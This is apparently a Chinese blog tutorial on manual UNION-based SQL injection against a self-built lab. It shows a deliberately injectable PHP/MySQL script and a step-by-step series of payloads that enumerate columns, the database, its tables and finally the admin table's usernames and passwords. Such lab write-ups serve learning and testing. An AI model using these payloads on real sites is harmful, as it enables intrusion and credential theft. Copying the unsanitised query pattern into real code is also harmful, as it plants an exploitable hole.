浅谈联合注入

Posted p4sschen

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈联合注入相关的知识,希望对你有一定的参考价值。

 

手工注入学习篇

首先准备环境,建好两个数据表,一个内容随意,一个装管理员账户密码就行。开始进入主题。

<?php

error_reporting(E_ALL ^ E_DEPRECATED);

mysql_connect(‘localhost‘,‘root‘,‘root‘);

mysql_select_db(‘test‘);

mysql_query("set names utf-8");

echo $id = $_REQUEST[‘id‘];

echo "<hr>";

echo $sql="select * from user where id = $id","<br />";

if ($row=mysql_query($sql)){

$rows=mysql_fetch_array($row);

var_dump($rows);

}

?>

代码如上,ok进入主题

技术图片

我还需要去判断注入吗?貌似不需要所以直接点order by 1

技术图片

3了也能回显。

技术图片

技术图片

OK

那么union select 1,2,3 LIMIT 1,1

 

 技术图片

字段出来了,看看当前数据库。?id=1 union select 1,database(),3 LIMIT 1,1

 

 技术图片

test,那么咱们要他的表了,union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘test’),3 LIMIT 1,1

技术图片

ok列表都出来了,那么猜解admin表的字段。

技术图片

三个字段那么获取字段内容了。我就不像那些大佬那么高端了,直接点union select 1,username,password from admin LIMIT 1,1

 

技术图片

 

以上是关于浅谈联合注入的主要内容,如果未能解决你的问题,请参考以下文章

浅谈数据库联合查询

SQL注入-联合查询注入

SQL注入常见的姿势一:联合查询注入

恒源云(GpuShare)_表序编码器的联合实体和关系提取(论文浅谈)

恒源云(GpuShare)_表序编码器的联合实体和关系提取(论文浅谈)

恒源云(GpuShare)_表序编码器的联合实体和关系提取(论文浅谈)